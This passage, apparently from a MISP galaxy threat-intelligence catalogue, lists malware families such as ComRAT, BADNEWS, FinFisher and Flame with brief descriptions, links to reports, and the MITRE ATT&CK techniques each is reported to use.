uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/ |
https://www.accenture.com/t20181129T203820Zw/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50[https://www.accenture.com/t20181129T203820Zw/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50] |
ComRAT - S0126
[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)
The tag is: misp-galaxy:mitre-malware="ComRAT - S0126"
ComRAT - S0126 is also known as:
-
ComRAT
ComRAT - S0126 has relationships with:
-
similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf |
POORAIM - S0216
[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="POORAIM - S0216"
POORAIM - S0216 is also known as:
-
POORAIM
POORAIM - S0216 has relationships with:
-
similar: misp-galaxy:tool="POORAIM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
Catchamas - S0261
[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)
The tag is: misp-galaxy:mitre-malware="Catchamas - S0261"
Catchamas - S0261 is also known as:
-
Catchamas
Catchamas - S0261 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
Links |
Komplex - S0162
[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).
The tag is: misp-galaxy:mitre-malware="Komplex - S0162"
Komplex - S0162 is also known as:
-
Komplex
Komplex - S0162 has relationships with:
-
similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
BBSRAT - S0127
[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)
The tag is: misp-galaxy:mitre-malware="BBSRAT - S0127"
BBSRAT - S0127 is also known as:
-
BBSRAT
BBSRAT - S0127 has relationships with:
-
similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
Links |
KEYMARBLE - S0271
[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)
The tag is: misp-galaxy:mitre-malware="KEYMARBLE - S0271"
KEYMARBLE - S0271 is also known as:
-
KEYMARBLE
KEYMARBLE - S0271 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
SHUTTERSPEED - S0217
[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217"
SHUTTERSPEED - S0217 is also known as:
-
SHUTTERSPEED
SHUTTERSPEED - S0217 has relationships with:
-
similar: misp-galaxy:tool="SHUTTERSPEED" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
Reaver - S0172
[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)
The tag is: misp-galaxy:mitre-malware="Reaver - S0172"
Reaver - S0172 is also known as:
-
Reaver
Reaver - S0172 has relationships with:
-
similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
BADNEWS - S0128
[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)
The tag is: misp-galaxy:mitre-malware="BADNEWS - S0128"
BADNEWS - S0128 is also known as:
-
BADNEWS
BADNEWS - S0128 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
SLOWDRIFT - S0218
[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="SLOWDRIFT - S0218"
SLOWDRIFT - S0218 is also known as:
-
SLOWDRIFT
SLOWDRIFT - S0218 has relationships with:
-
similar: misp-galaxy:tool="SLOWDRIFT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
Dok - S0281
[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).
The tag is: misp-galaxy:mitre-malware="Dok - S0281"
Dok - S0281 is also known as:
-
Dok
-
Retefe
Dok - S0281 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"
Links |
FinFisher - S0182
[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)
The tag is: misp-galaxy:mitre-malware="FinFisher - S0182"
FinFisher - S0182 is also known as:
-
FinFisher
-
FinSpy
FinFisher - S0182 has relationships with:
-
similar: misp-galaxy:malpedia="FinFisher RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
WINERACK - S0219
[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="WINERACK - S0219"
WINERACK - S0219 is also known as:
-
WINERACK
WINERACK - S0219 has relationships with:
-
similar: misp-galaxy:tool="WINERACK" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
PJApps - S0291
[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)
The tag is: misp-galaxy:mitre-malware="PJApps - S0291"
PJApps - S0291 is also known as:
-
PJApps
PJApps - S0291 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
Links |
RuMMS - S0313
[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)
The tag is: misp-galaxy:mitre-malware="RuMMS - S0313"
RuMMS - S0313 is also known as:
-
RuMMS
RuMMS - S0313 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html |
Downdelph - S0134
[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)
The tag is: misp-galaxy:mitre-malware="Downdelph - S0134"
Downdelph - S0134 is also known as:
-
Downdelph
-
Delphacy
Downdelph - S0134 has relationships with:
-
similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
Flame - S0143
Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)
The tag is: misp-galaxy:mitre-malware="Flame - S0143"
Flame - S0143 is also known as:
-
Flame
-
Flamer
-
sKyWIper
Flame - S0143 has relationships with:
-
similar: misp-galaxy:tool="Flame" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
